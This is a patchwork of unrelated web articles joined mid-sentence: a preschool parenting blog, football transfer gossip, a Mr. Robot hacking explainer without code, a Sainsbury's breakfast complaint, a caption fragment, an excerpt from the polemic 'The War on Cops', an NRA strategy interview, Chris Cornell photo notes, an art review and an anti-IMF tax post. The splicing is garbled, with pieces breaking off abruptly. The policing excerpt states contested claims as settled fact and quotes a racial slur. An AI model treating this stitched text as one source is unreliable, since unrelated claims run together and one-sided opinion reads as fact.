To appease the rising popular discontent, the Congress has agreed to hold early elections this year for a new legislature that would also produce a new government.The nuclear arms race of academics and extracurriculars is not imaginary.
At least in our neck of the woods (the suburbs of New York City), kindergarteners are now expected to understand what was once first grade material. In turn, that has ratcheted up the pressure on preschools to prepare them properly.
I have listened with clenched jaw to many good friends as they rant about the staff of various preschools (all fabulous) for failing to adequately prepare their kids for kindergarten. I have watched with a knot in my stomach as my sons’ friends get scheduled within an inch of their lives at age 4 and 5. Topping the list these days are: competitive sports programs, arts programs, and yes, even academic tutoring programs.
I mention my clenched jaw because it takes an enormous amount of effort to refrain from joining this rat race. It is hard not to worry that I am somehow cheating my children by “opting out” on their behalf. At least right now.
The desire that drives parents to push their young, young children academically and otherwise is primal. We all want our kids to thrive. And so we invest in the activities and tutoring programs that appear on the surface to help give them a leg up academically and socially.
Unfortunately the research shows the academic push-down and chronic over-scheduling is counterproductive.
First of all, from an academic standpoint, the brains of small children are not necessarily ready to grasp more abstract academic concepts. While they may be able to “perform,” their brains are not necessarily comprehending or learning. Is that what we really want? Consider this:
“A crucial shift in children’s cognitive skills occurs at around age six. Although the cognitive changes that occur during infancy and the preschool years are dramatic (as children learn their native language, for instance), almost all theories of development point to age six as the time when children begin to actually “reason” in the commonsense meaning of the word.” — Jacquelynne S. Eccles, Ph.D., via http://www.princeton.edu/futureofchildren/publications/docs/09_02_02.pdf
Additional research shows that children’s developmental schedule hasn’t changed in the past 70 years. So we can push academics down all we want, but that doesn’t mean our kids are ever going to be ready for it.
And because they aren’t developmentally ready for it, it’s hurting them. Experts have noted a jump in negative attitudes about school and a dramatic increase in feelings of failure among preschool aged children, which makes me want to weep.
I saw this in my own son when he was labeled “slow” at the start of kindergarten because he was not developmentally ready to read. He got his sea legs by the middle of the year and has gone on to thrive. But I had to work hard to protect him from the judgement and fear that was rampant in the school system – and the push to invest in a tutor. (It also gave me a new appreciation for why parents choose to red-shirt their kids. I absolutely would have done the same had I known then what I know now.)
In addition to the push-down, all of the relentless scheduling robs our kids of the most essential building block to learning: play.
The director of our boys’ preschool says it well, “Kids need time to play – without rules or structure or supervision. Play IS their work. Through play, they learn how to communicate, problem solve, count, share, and generally make sense of the world around them.”
Ironically, if the arms race is in full-swing in your town, taking your foot off the gas will require proactive organization on your part. If you don’t have alternative plans in place, it is far, far too easy to get swept up in the mania.
Here are 8 ways to opt out of the arms race gracefully
1. Read up on the topic.
There are many great academic studies about children’s need for unstructured play. The more you dig in to the topic, the easier it will be down the line to resist the urge to over schedule and academically groom your young child.
2. Talk it over with your spouse.
Both parents do need to be on the same page where this is concerned and speak with one voice, to schools & teachers, to friends & family, and to your children.
3. Set a household policy.
Limit your preschool- 3rd grade child to one or two structured activities beyond school per season (that translates to 1 or 2 per week). Instituting rules or guidelines can make it a lot easier to say no.
4. If asked about signing your child up for something, beg for time.
Swap your “yes, that sounds great” for “that sounds really interesting; let me think about [child’s schedule] and get back to you with an answer.” Then use the time to determine whether or not it really is in the best interest of your child to sign them up.
5. Script Some “No” Responses
Sometimes it’s easier to have a canned response to friendly peer pressure to join x,y,z activity than to figure out how to respond appropriately in the moment.
6. Communicate your point of view with your child’s teachers.
Use the first parent-teacher conference of the year to discuss your expectations with the teachers. Let them know your primary goal. For example, we always emphasize our desire for our preschooler is to teach them to love learning, discovering, exploring and relating to others. ABC’s are nice, but not necessary.
7. Make your house a go-to play zone.
Once you know your child’s schedule, send an email out to all of your friends letting them know your house is always open for play dates on XYZ days/times. We’ve found that make it much more likely your child will have plenty of playmates if you live in an area where kids cannot just “go out and play.”
8. Hit the playground often.
It offers the benefits of “go out and play” in a world where just going out to play isn’t supported.
Do you fear the academic arms race? Do you see it in your preschool or early grammar schools? What do you do, if anything, to “opt-out”?United eye £60m bid for Spurs star Bale as champions seek marquee summer signing
Manchester United could turn their attentions to signing Gareth Bale after seeing a move for one of their top transfer targets falter.
The Premier League champions saw long-term target Spain Under 21 star Thiago Alcantara choose to leave Barcelona to join former manager Pep Guardiola at Bayern Munich.
But United are desperate to back new manager David Moyes in his title defence and are great admirers of Tottenham winger Bale, who picked up three player of the year awards last season after scoring 21 League goals for Spurs.
Wanted man: Gareth Bale (left) has been linked with Real Madrid and now Manchester United
Coming out to play: Bale scored during Tottenham's pre-season friendly against Swindon earlier this week
Missing out: United had been targeting Thiago Alcantara (centre), who signed for Bayern Munich
Uruguayan defender Guillermo Varela is United's sole signing this summer, but the club could launch a bid as high as £60million for Bale this month, according to the Daily Mirror.
But United remain wary of being sucked into a drawn-out summer transfer saga with Tottenham chairman Daniel Levy that could result in United missing out on Bale or paying above the odds.
Wayne Rooney looks destined to leave Old Trafford amid fresh reports he wants to quit the club and United are looking to overshadow his predicted departure with a big signing of their own, with Chelsea leading the chase for the unsettled England striker.
Bale, 24, has been heavily linked with a move to Real Madrid this summer, with the Spanish giants keen to pair the Wales star with former United forward Cristiano Ronaldo.
Backing: Manchester United want to sign star players to bolster David Moyes' title chances
Sole signing: Guillermo Varela was David Moyes' first capture as Manchester United manager
Unsettled: Wayne Rooney looks destined to leave United before the season begins
United have done business with Tottenham in the past of course. The deadline-day signing of Dimitar Berbatov for £30.75m remains the club’s record signing.
Most recently though, relations between the two clubs were more strained after Tottenham snapped up former United youngster Zeki Fryers from Standard Liege for £3m.
Sir Alex Ferguson was critical of the move, claiming a deal was pre-planned after Spurs refused to stump up the £6m asking price while the promising defender was still at United.The following contains spoilers of the fourth episode of the first season of USA Network’s Mr. Robot, which airs at 10pm EST on Wednesdays.
Since its debut earlier this summer, USA Network’s rookie hacker drama, Mr. Robot, has been praised for its accurate portrayal of cyber crime and security. Backed by a legion of cyber crime consultants and advisers the show's director, Sam Esmail, has done this by design—and with painstaking thoroughness. In approval of Esmail's efforts to create an authentic representation of modern hacking, I have made it my prerogative to explain the hacks you see onscreen and how they can affect our everyday lives. To do so, I have enlisted the help of Mr. Robot's technical consultant and cyber crime expert, Michael Bazzell.
Tape Backups And Raspberry Pis
Following the third episode reveal that Terry Colby, the CTO of E Corp, wittingly allowed Elliot’s father to be exposed to toxic waste (the cause of his leukemia and untimely death) the fourth Mr. Robot episode “Daemons” (eps1.3_da3m0ns.mp4), opens with Elliot sharing his plan to take down E Corp.
Elliot’s plan hinges on the fact that E Corp’s data storage facility, Steel Mountain, relies on a tape-based data backup system. All corporations have some type of backup data solution and despite the fact that a tape backup solution might seem like an antiquated method, it is often an appropriate solution for many companies. Tapes can easily store hundreds of gigabytes of data and come with a reasonable price tag, but that isn't to say that they don't come with risks.
“One important rule to backups is that you have an offsite copy,” stressed Bazzell. “I have consulted numerous organizations that backup to external hard drives that are left on-site. When a disaster strikes, and the building is flattened or burglarized, the backups are worthless. Multiple copies are vital.”
These scenarios echo that which Elliot’s plan seeks to exploit. Elliot discloses that he wants to use a “Raspberry Pi," to gain access to Steel Mountain’s climate control system and destroy the tape backups by increasing the facility’s temperature to a point at which the tapes will melt. Unlike Darlene and the rest of FSociety, I did not know what a Raspberry Pi was, so I had Bazzell explain it to me.
“These devices are basically extremely small computers. The size of a deck of cards, they have complete processing and network functionality,” explained Bazzell. “[A Raspberry Pi] can possess a cellular chip with an always-on data connection that will allow access via the internet.”
So in Elliot's plan, by connecting a Raspberry Pi to Steel Mountain’s HVAC system with a run-of-the-mill Ethernet cable, FSociety would theoretically be able to pump up the heat in the facility by communicating with the climate control system remotely via a cellular network device—even at a slow speed on a 2G network. Or in Elliot’s words, “the circuit board, if installed behind a thermostat, it lets us plant an asymmetric backdoor and then create a VPN in the Steel Mountain Intranet.”
Real World Threats
Bazzell added that this scene highlights some common vulnerabilities of corporations today, particularly the fact that a network is only as safe as its weakest link. In many instances a corporation’s weakest link is an overlooked system in a network—much like Steel Mountain’s climate control system.
“ Popular operating systems, such as Windows, OSX and Linux are used by most of the world. Updates—or patches—to these systems are very common. The masses rely on this protection. Small operating systems within specialized devices often get ignored. They are rarely accessed directly and quietly perform their functions daily. They are often out of sight and deemed unimportant,” said Bazzell. “This often leads to devices waiting to be compromised.”
Today, practically everything is networked. Meaning, if a hacker can gain access to one of these forgotten operating systems, in many cases he or she could compromise other systems within that network and potentially, connected networks. Bazzell called out the massive 2013 data breach at Target as an example of this type of hack.
“The entry point for that entire attack was not a system owned or controlled by Target. It was a third party that needed access to Target’s network in order to function properly. Again, it only takes one weak link,” said Bazzell.
The Human Threat
At the very end of the episode, Angela infects the AllSafe system with malware in the wake discovering that her boyfriend Ollie was embroiled in an affair and that hackers were blackmailing the couple.
“While you only see a small amount of text populate the screen and then disappear, that would be enough to do real damage,” said Bazzell.
When Angela did this, she didn't just infect the individual computer in which she inserted the CD—she opened up the entire AllSafe network to an attack.
“In these scenarios, the malware is usually installed locally on that individual machine. However, that machine is connected to the network. If the hacker can access that individual machine through the exploit, it is the same as the hacker physically sitting at that computer with unlimited access. Anything he or she could do at that workstation can be conducted over the internet. The attack will then lead to other machines on the network, likely servers,” explained Bazzell.
He added that this scene is a reminder that corporations should control all data transfer into their network. Though still the minority, more and more businesses are disabling USB ports on employees’ computers for this purpose—and yet neglect CD-ROM drives.
“I think that many businesses look at them as harmless. This is always naïve,” Bazzell stressed.
While Bazzell made a point to add that blocking access to USB and CD-ROM drives is not appropriate for all businesses, each one still needs to weigh its need for security against employee convenience. Allowing employees to access USB drives and insert CDs and DVDs leaves a company vulnerable to the Angelas of the world.
“This episode reminds us that the most well-protected infrastructure is only as secure as its weakest link,” warned Bazzell. “More often than not, it is a human being.”Sainsbury's has been forced to apologise after its Jehovah's Witness chef refused to serve a customer black pudding with his Full English breakfast.
Alan MacKay was stunned when he was told he could not enjoy the staple, made up of animal fat, blood and oatmeal, with his meal at the branch in Arnold, Nottingham.
After receiving his incomplete dish the former police officer was told the black pudding would not be served because it was against the religious beliefs of the chef to do so.
Missing: This is the Full English Alan MacKay should have received while dining at Sainsbury's in Nottingham
Jehovah’s Witness regard blood as sacrosanct and if an animal hasn’t been bled to their standards they won’t eat it.
Mr MacKay, who had popped into the store after dropping his wife off at work at 9am, said: 'I know it sounds trivial, but it's the principal behind it that's ridiculous.
'If she refuses to cook black pudding because of her religion, what is she doing working in a kitchen that sells it? She shouldn't be employed if she won't cook the menu.
'I was really looking forward to my black pudding. You get a good breakfast in there.
'But when I went into the cafe to order my black pudding, like as I have done before, I went away hungry. I was really cheesed off.
'I came home and had my breakfast at 11.30am. I had crumpets, a poached egg and beans. I didn't buy black pudding because it's quite fatty so I only have it once a week or so.
'Sainsbury's does a wonderful black pudding, so that's why I was so disappointed. It's one of the few big stores that sells black pudding. Morrison's doesn't.'
Mistake: A spokeswoman said Mr MacKay was forced to go without due to a mix up between the kitchen team
Mr MacKay said he was 'cheesed off' when he was not served his full meal at this Sainsbury's cafe because it usually serves up 'wonderful black pudding'
Mr MacKay was offered a refund by Sainsbury's who explained the error was down to a mix up between the kitchen team on duty.
A spokeswoman said a member of staff had misunderstood that the chef had asked them to prepare the black pudding, not that black pudding could not be served.
'We have apologised to the customer for the misunderstanding.' she added.
JEHOVAH'S WITNESS BELIEFS: APART FROM MAINSTREAM CHRISTIANITY Jehovah's Witnesses are a worldwide brotherhood amounting to over eight million members. Jehovah's say that as Jesus Christ did not limit his kingdom to a certain part of the world, they do not allow themselves to be attached to a country, ethnicity or political belief system. Members believe that the bible was inspired by God or 'Jehovah' and is completely historically accurate. As a result, if a theory clashes with the bible they believe it to be wrong. Jehovah's do believe in Jesus, but they think he died on a stake rather than a cross. This is because of the Greek word used for cross in the bible which translates to'stake' or 'tree'. Members say that when someone dies their existence stops completely and as a result they do not believe in Hell. Their other reasoning for this is that God would not want to punish humans for eternity. Members do not accept blood transfusions because they believe God has forbidden this in the bible (In particular making reference Genesis 9:3-4 and Acts 15:19-21). Jehovah's say that |
in Veracruz for as much as 40 percent of its budget.; A worker with a bottle of oil at a Pemex field in Veracruz's Chicontepec region, where the company has 2,100 oil wells. (PHOTOGRAPHS BY ADRIANA ZEHBRAUSKAS FOR THE NEW YORK TIMES) (B4)Editor's note: The following is excerpted from "The War on Cops: How the New Attack on Law and Order Makes Everyone Less Safe" (Encounter Books, June 21, 2016).
In the summer of 2014 a lie overtook significant parts of the country and grew into a kind of mass hysteria.
That lie holds that the police pose a mortal threat to black Americans—indeed, that the police are the greatest threat facing black Americans today.
Several subsidiary untruths buttress that central myth: that the criminal-justice system is biased against blacks; that there is no such thing as a black underclass; and that crime rates are comparable between blacks and whites, so that disproportionate police action in minority neighborhoods cannot be explained without reference to racism.
The poisonous effect of these lies manifested itself in the cold-blooded assassination of two NYPD officers in December that year.
The highest reaches of American society promulgated those untruths and participated in the mass hysteria.
President Barack Obama, speaking after a grand jury decided not to indict the police officer who fatally shot Michael Brown, declared that blacks were right to believe that the criminal-justice system was often stacked against them. Obama repeated that message as he traveled around the country subsequently.
Eric Holder escalated a long-running theme of his tenure as U.S. attorney general: that the police routinely engaged in racial profiling and needed federal intervention to police properly.
University presidents rushed to show their fealty to the lie. Harvard’s Drew Gilpin Faust announced that “injustice” toward black lives “still thrives so many years after we hoped we could at last overcome the troubled legacy of race in America.... Harvard and... the nation have embraced [an] imperative to refuse silence, to reject injustice.” Smith College’s president abjectly flagellated herself for saying that “all lives matter,” instead of the current mantra, “black lives matter.” Her ignorant mistake, she confessed, drew attention away from “institutional violence against Black people.”
The New York Times ratcheted up its already-stratospheric level of anti-cop polemics. In an editorial justifying the Ferguson riots the Times claimed that “the killing of young black men by police is a common feature of African-American life and a source of dread for black parents from coast to coast.”
In reality, however, police killings of blacks are an extremely rare feature of black life and a minute fraction of black homicide deaths.
Blacks are killed by police at a lower rate than their threat to officers would predict. To cite more data on this point: in 2013, blacks made up 42 percent of all cop killers whose race was known, even though blacks are only about 13 percent of the nation’s population.
Less than one-third of all homicides by police involve black victims. Moreover, there is a huge, unacknowledged measure of support for the police in the inner city: “They’re due respect because they put their lives every day on the line to protect and serve. I hope they don’t back off from policing,” a woman told me on the Staten Island street where Eric Garner was killed. (This was two nights before Officers Wenjian Liu and Rafael Ramos were assassinated in Brooklyn.)
Among all the posturers, none was so preening as New York’s mayor, Bill de Blasio. In advance of a trip to Washington for a White House summit on policing, he told the press that a “scourge” of killings by police was “based not just on decades, but centuries of racism.” De Blasio embroidered on that theme several days later, after a Staten Island grand jury declined to indict an officer for homicide in Garner’s death. (Recall that the 350-pound asthmatic Garner had resisted arrest for the crime of selling loose cigarettes; officers brought him to the ground, provoking a fatal heart attack.) “People are saying: ‘Black lives matter,’” de Blasio announced after the grand jury concluded. “It should be self-evident, but our history requires us to say ‘black lives matter.’ It was not years of racism that brought us to this day, or decades of racism, but centuries of racism.” De Blasio added that he worries “every night” about the “dangers” his biracial son, Dante, might face from “officers who are paid to protect him.”
The mayor’s irresponsible rhetoric was a violation of his role as the city’s leader and as its main exponent of the law. If he really believes that his son faces a significant risk from the police, he is ignorant of the realities of crime and policing in the city that he was elected to lead. There is no New York City institution more dedicated to the proposition that “black lives matter” than the New York Police Department; thousands of black men are alive today who would have been killed years ago had data-driven policing not brought down the homicide levels of the early 1990s. The Garner death was a tragic aberration in a record of unparalleled restraint. The NYPD fatally shot eight individuals in 2013, six of them black, all posing a risk to the police, compared with scores of blacks killed by black civilians. But facts do not matter when one is crusading to bring justice to a city beset by “centuries of racism.”
New York police officers were rightly outraged at de Blasio’s calumny. The head of the officers’ union, Patrick Lynch, circulated a form allowing officers to request that the mayor not attend their funeral if they were killed in the line of duty—an understandable reaction to de Blasio’s insult. De Blasio responded primly on "The View": “It’s divisive. It’s inappropriate.” The city’s elites, from Cardinal Timothy Dolan on down, reprimanded the union. The New York police commissioner called the union letter “a step too far.”
Meanwhile, protests and riots against the police were gathering force across the country, all of them steeped in anti-cop vitriol and the ubiquitous lie that “black lives” don’t “matter” to the police. “What do we want? Dead cops,” chanted participants in a New York anti-cop protest.
Two public defenders from the Bronx participated in a rap video extolling cop killings. Few people in positions of authority objected to this dangerous hatred. The desire to show allegiance with allegedly oppressed blacks was too great. The thrill of righteousness was palpable among the media as they lovingly chronicled every protest and among politicians and thought leaders who expressed solidarity with the cause.
At another march across the Brooklyn Bridge, a group of people tried to throw trash cans onto the heads of officers on the level below them; police attempts to arrest the assailants were fought off by other marchers.
The elite’s desperation to participate in what they hopefully viewed as their own modern-day civil rights crusade was patent in the sanctification of Michael Brown, the would-be cop killer. He was turned into a civil rights martyr. His violence toward Wilson, and toward the convenience-store owner he had strong-armed, was wiped from the record. Protesters at anti-cop rallies across the country chanted “hands up, don’t shoot,” allegedly Brown’s final words before Wilson shot him. Never mind that the source of that alleged final utterance, Brown’s companion Dorian Johnson, was a proven liar. There is no reason to believe his claim regarding Brown’s final words.
Protesters’ willingness to overlook anti-cop homicidal intent surfaced again in St. Louis in November. A teen criminal who had shot at the police was killed by an officer in self-defense; he, too, joined the roster of heroic black victims of police racism. This sanctification of would-be black cop killers would prove prophetic. It’s profoundly irresponsible to stoke hatred of the police, especially when the fuel used for doing so is a set of lies. Hatred of the police among blacks stems in part from police brutality during this country’s shameful era of Jim Crow laws and widespread discrimination. But it is naïve not to recognize that criminal members of the black underclass despise the police because law enforcement interferes with their way of life. The elites are oblivious both to the extent of lawlessness in the black inner city and to its effect on attitudes toward the cops. Any expression of contempt for the police, in their view, must be a sincere expression of aggrievement.
Cop killer Ismaaiyl Brinsley, who assassinated NYPD officers Wenjian Liu and Rafael Ramos on December 20, 2014, exemplified everything the elites have refused to recognize as the antipolice crusade marches on: he was a gun-toting criminal who was an eager consumer of the current frenzy of cop-hatred. (Not that he paid close enough attention to the actual details of alleged police malfeasance to spell Eric Garner’s name correctly.) His homicidal postings on Instagram—“I’m Putting Wings on Pigs Today. They Take 1 of Ours... Let’s Take 2 of Theirs”—were indistinguishable from the hatred bouncing around the Internet and the protests that few bothered to condemn. That vitriol continued after the assassination. Social media filled up with gloating at the officers’ deaths and praise for Brinsley: “That nigga that shot the cops is a legend,” read a typical message. A student leader and a representative of the African and Afro-American Studies department at Brandeis University tweeted that she had “no sympathy for the NYPD officers who were murdered today.”
The only good that could have come out of this wrenching attack on civilization would have been the delegitimation of the lie-based protest movement. That did not happen. The New York Times, instead, denounced as “inflammatory” the statement from the head of the officers’ union that there was “blood on the hands [that] starts on the steps of City Hall”—while the Times itself has promoted the inflammatory idea that police officers routinely kill blacks without cause.
The elites’ investment in black victimology was too great to hope for an injection of truth into the dangerously counterfactual discourse about race, crime, and policing.Why do some interest groups, like the National Rifle Association and the AARP (formerly the American Association of Retired Persons), grow into huge national organizations with an outsize influence on public policy, while others, like the ACLU and the NAACP, though certainly influential, remain much smaller and less financially secure?
That’s the question Peter Murray, founder and president of Accelerate Change, sought to answer when he embarked on a multiyear research project. He looked into the strategies and finances of more than 50 large national and regional civic organizations, including churches, trade unions, member groups, and community organizations. Murray, whose career has been devoted to helping civic organizations develop strategies to sustain growth and become self-sufficient, now believes that the answer lies in how well organizations can establish meaningful connections with their members.
Peter Murray
Strategy+business recently spoke to Murray about what distinguishes the largest and most successful civic organizations, and the lessons every business can learn from their success.
S+B: Your study focused on how some civic organizations achieve scale and others don’t. What’s the secret?
MURRAY: Virtually every civic organization is intended to support some issue or another—whether it be civil rights, union organizing, or just building and sustaining a community garden. The distinction I want to make is between issues-based organizations that depend primarily on the generosity of like-minded donors for support, and what I call ‘functional organizations,’ which offer not just a commitment to a particular issue, but an enduring sense of community, tied together through a powerful media platform and valuable benefits. Some combination of these elements is key: No issues-based organization has grown as large as the most successful functional organizations.
S+B: Can you give me an example of a successful functional organization?
MURRAY: The most effective functional organization I can think of may be the National Rifle Association [NRA]. Whether or not you agree with its political agenda, its lobbying efforts at both the local and national levels have obviously been enormously influential. But it couldn’t be effective without the more than US$100 million its 5 million members contribute in dues every year. And they pay their dues even though they’re not necessarily committed to precisely the same gun-rights agenda. The NRA has been able to thrive because it has combined three critical factors to establish an enduring connection with the lifestyles and needs of its members.
First, the NRA offers valuable benefits—including access to local shooting and hunting clubs, family programs and classes in shooting and gun safety, discounts at gun shops, and insurance—that mesh well with members’ lifestyles.
Second, it operates a very active and effective media program, including two of the most popular magazines in the U.S., and a comprehensive, carefully maintained website.
Third, and perhaps most important, the NRA understands the importance of community, of building in-person, member-to-member relationships. That’s why the local activities—the gun clubs and the classes—are so important: They really cement the amazingly loyal connection between the NRA and its members, by encouraging personal relationships among the members themselves. By combining a strong grassroots foundation with an appealing benefits programs and prominent media platform, the NRA enlists significant loyalty from its members and can encourage them to take an active role in the promoting its political agenda, first on the local level and, for some, on a larger stage. It’s incredibly effective.
S+B: What lessons can the business world learn from the NRA’s success as a functional organization?
MURRAY: The NRA’s success depends on a deep relationship and level of trust with its members that’s hard to find in the corporate world. It offers a lesson about how to think not just about the individual products and services a company sells (in effect, the benefits) and how to market them (the media efforts), but about how to establish a deeper relationship with customers.
The NRA’s connection to its members isn’t so much about the issues it promotes—gun rights and the like. It’s really about making an identity connection to how members see themselves. It’s about asking, “How do we create a space where members can connect with each other and share a common identity, common interests, and common goals, and then connect with each other around those common identities, interests, and goals?”
The NRA has done a great job connecting people who identify themselves as hunters, for instance. That’s what companies need to do: to figure out what their target customer’s identity is, what set of activities they engage in that is related to that identity, and then try to meet the needs generated by those activities.
Certainly, lots of companies are trying to do just that. Many are beginning to realize that they can’t just sell products. They need to create experiences for consumers. And at best, those experiences should involve social components, which are in-person, almost invariably, though they can be fueled by social media. This is more and more the direction in which marketing is going.
S+B: Can you think of a company that’s succeeded in taking this approach?
MURRAY: Apple is particularly good at this. They understand who their customers are, and their marketing is aimed at establishing an intimate connection with them. When the company first began opening retail stores, many people thought its strategy would fail. But the stores have been instrumental in establishing that in-person, customer-to-customer connection. They offer a space where customers can interact with cool salespeople, take classes, and meet other customers like themselves. The Apple Store offers a real experience, and that, combined with great products and great marketing, has given the company an exceedingly loyal customer base.Tim Hale photographed Chris Cornell in the summer of 1999 for AP. What follows below are some previously unpublished photos from that shoot, along with commentary from Hale.
If you’re interested in reading the full cover story, you can do so here.
The ranch was in Hidden Hills, California; I can’t remember the name of the place. The shoot was five hours. This is important to bring up because usually a big rock star comes with a bunch of people, like a publicist who will say something like, “We have to be out of here in 30 minutes.” But he was in no hurry: It was just him and his girlfriend at the time. It was a really quiet vibe; between shots, he’d smoke cigarettes and shoot the shit. We’d walk all over the ranch and stop at certain locations.
The owner of the ranch was very accommodating. I asked if I could shoot Çhris in his truck and he gladly let us. When I shoot, I don’t want to tell anyone what to do. Many times, a photographer will use props or direct some kind of action. Many celebrities will come in and they need to be told what to do, and publicists like images that are super-polished. When I’m working, I never want to tell anyone what to do. I like to be completely invisible. These photos captured how real and down-to-earth Chris was. There was nothing fancy: There were no props or anything out of the ordinary. We had pulled some clothes and he’d pick [what he wanted to wear]. In most of the shots, he’s wearing his own clothes or some things that I had bought at Supply Sergeant—like that shirt with the star on it.
In those days, [my colleagues and I] would do test photographs with Polaroids because the negatives they produced had a really unique look to them and the fact that they instantly developed was great too, so you could see and share the images on set. When shooting these polaroids you had to place the negatives in water to clear the emulsifying chemical off of them. We’d carry a bucket of water on a shoot to put the Polaroid negatives in and we used to joke that we were “collecting souls” in the buckets. As you can see in these photographs Chris was one of the most unaffected celebrities I ever photographed. …
He was one of the biggest rock stars I ever shot, but super-nice, soft-spoken and the most normal dude. He was such a nice guy; I bet he was an amazing father. If you didn’t know he was in a huge band, you would’ve never known hanging out with him. He was the antithesis of all of that.'Death's Boutique': The lighter side of dying 'Death's Boutique': Two artists from L.A. address mortality in a show that features a sense of humor as well as a ray of hope
Artist Kara Tanaka, on Friday Mar. 19, 2010, behind her work, Social Leveler (When Immortality Became Uncouth), 2010 made of sugars, wood and paint, the work was modeled after the process of Promessa, a Swedish method of freeze drying the human body for burial. Fellow artist Marco Rios with his slide and video, a self portrait with waterfalls streaming from his eyes, Untitled #1, 2010. "Death's Boutique" a joint collaboration between artists Marco Rios and Kara Tanaka at the Yerba Buena Center for the Arts in San Francisco, Calif. less Artist Kara Tanaka, on Friday Mar. 19, 2010, behind her work, Social Leveler (When Immortality Became Uncouth), 2010 made of sugars, wood and paint, the work was modeled after the process of Promessa, a Swedish... more Photo: Michael Macor, The Chronicle Photo: Michael Macor, The Chronicle Image 1 of / 3 Caption Close 'Death's Boutique': The lighter side of dying 1 / 3 Back to Gallery
Death isn't a topic often approached without apprehension, but it ranks up there with love when it comes to motifs ripe for the picking among artists, poets, musicians and just about anyone else with the sense to consider their mortality. Los Angeles artists Marco Rios and Kara Tanaka plumb the subject with incisiveness and mordant humor in their collaborative show, "Death's Boutique."
"When you approach someone else to do a show about death... some people might giggle and shy away," Tanaka says, "but for us, this was a perfect subject to work on."
The exhibition - which includes sculpture, large-scale photography, video and printed matter - stems from both a personal and artistic interest in the psychological and pragmatic aspects of death, as well as research generated from the duo's travels together.
Rios says he's been intrigued with death since he was a child "raised by a protective single mother.... I was hyperaware of my own mortality, and even now, there isn't a day that goes by that I don't think about it, either jokingly or for real."
Tanaka's interest lies in a fascination with religious history and the manner in which mortality "comes into play when we think of the liminal spaces between life and death... people's attempts at getting outside the very things that make us mortal."
The pair's travels included treks to Lithuania - a country graced with the world's highest suicide rate - and Sweden, where they learned about the eco-friendly Promessa burial method, which enables bodies to crumble into an odorless, fine, biodegradable powder that becomes compost within months.
Tanaka's exhibited work includes a sculptural history of death practices in the United States going back to 1876, when modern cremation was adopted. The work includes a cremation oven that goes from the outside of the gallery to the inside, as well as molded forms of faux Promessa powder that are roughly the size of what a body would become after undergoing this burial process.
Rios, who channels elements of desire, gothic horror and romanticism, presents a series of wonderfully macabre sculptures that are essentially "death instruments," drawing inspiration from storefront tableaux and kitchenware. For instance, Rios' "Heart Extractor" is a cheekily scaled-up and modified version of the kind of apparatus that extracts juice from a fruit.
"These are pieces that are supposed to be metaphorical and literal instruments of death," he says.
Amid all the funereal sentiments, the show affords a ray of hope, Tanaka says.
"It's a subject that everyone can relate to in some way," she says. "We all have to deal with our mortality eventually, but the work is also about living for something beyond the self... so the way we approach death can be heroic."
Through April 25. 2-8 p.m. Thurs.-Fri., noon-8 p.m. Sat., noon-6 p.m. Sun. (noon-8 p.m. first Tues.). Free-$7. YBCA Gallery 3, 701 Mission St., S.F. (415) 978-2787. www.ybca.org.Submitted by Pater Tenebrarum of Acting-Man blog,
IMF Discusses 'One-Off' Wealth Tax
It is undoubtedly nice to have a job with the World Bank or the IMF. One of the most enticing aspects for those employed at these organizations (which n.b. are entirely funded by tax payers), is no doubt that apart from receiving generous salaries and perks, they themselves don't have to pay any taxes. What a great gig! Since these organizations are so to speak 'extra-territorial', they are held to be outside the grasp of specific tax authorities.
This doesn't keep them from thinking up various ways of how to resolve the by now well-known problem of the looming insolvency of various welfare/warfare states. In fact, they have quite a strong incentive to come up with such ideas, since their own livelihood depends on the revenue streams continuing without a hitch. One recent proposal in particular has made waves lately (it can be found in this paper – pdf), mainly because it sounds precisely like the kind of thing many people expect desperate governments to resort to when push comes to shove, not least because they have taken similar measures repeatedly throughout history.
The recent depositor haircut in Cyprus has also contributed to such expectations becoming more widespread. We believe is that it is far better to let shareholders, bondholders and depositors (in that order) take their lumps in the event of bank insolvencies rather than forcing the bill on unsuspecting tax payers via bailouts. What was odious about the Cypriot haircut was mainly that the government steadfastly lied to its citizens about what was coming and that certain classes of depositors, such as e.g. the president's relatives, got all their money out just a week or two prior to the bank holiday, by what we are assured was sheer coincidence (this unexpected twist of fate which proved so fortuitous to the president's clan increased the costs for remaining depositors).
Still, the entire escapade was a salutary event in many respects. It proved that government bonds are not a reliable store of value (it was mainly their holdings of Greek government bonds that got the Cypriot banks into hot water) and it was a reminder that fractionally reserved banks are inherently insolvent. In short, it has helped a bit to concentrate the minds of many of those who still remain whole and has sensitized them to other attempts of grabbing private wealth that may be coming down the pike.
This is probably also the reason why a paragraph in an IMF document that may otherwise not have received much scrutiny as it would have been considered too outlandish an idea, has created quite a stir. That such proposals are made from the comfortable environment of a tax free zone is quite ironic. Here is the paragraph in question:
“The sharp deterioration of the public finances in many countries has revived interest in a “capital levy”— a one-off tax on private wealth—as an exceptional measure to restore debt sustainability. The appeal is that such a tax, if it is implemented before avoidance is possible and there is a belief that it will never be repeated, does not distort behavior (and may be seen by some as fair). There have been illustrious supporters, including Pigou, Ricardo, Schumpeter, and—until he changed his mind—Keynes. The conditions for success are strong, but also need to be weighed against the risks of the alternatives, which include repudiating public debt or inflating it away (these, in turn, are a particular form of wealth tax—on bondholders—that also falls on nonresidents). There is a surprisingly large amount of experience to draw on, as such levies were widely adopted in Europe after World War I and in Germany and Japan after World War II. Reviewed in Eichengreen (1990), this experience suggests that more notable than any loss of credibility was a simple failure to achieve debt reduction, largely because the delay in introduction gave space for extensive avoidance and capital flight—in turn spurring inflation. The tax rates needed to bring down public debt to precrisis levels, moreover, are sizable: reducing debt ratios to end-2007 levels would require (for a sample of 15 euro area countries) a tax rate of about 10 percent on households with positive net wealth.”
(emphasis added)
It is actually not a surprise that there is a 'wealth of experience to draw on'. Throughout history, governments have thought up all sorts of methods to get their hands on their subjects' wealth. It would have only been a surprise if there had been no 'experiences to draw on'. In fact, as wasteful and inefficient as the State is otherwise, this is one of the tasks in which it proves extremely resourceful, inventive and efficient. The extraction of citizens' wealth is an activity at which it excels.
Apparently the IMF judges that stealing 10% of all private wealth in one fell swoop is perfectly fine as long as'some see it as fair'. Some of course would. There is however a crucial difference between imposing such a levy at gunpoint and letting bondholders take losses. The latter have taken the risk of not getting repaid voluntarily. No-one forced them to buy government bonds.
As to the pseudo-consolation that such a confiscation should be presented as a 'one off' event so as 'not to distort behavior', let's be serious. The moment governments gets more loot in, they will start spending it with both hands and in no time at all will find themselves back at square one.
States and Taxation
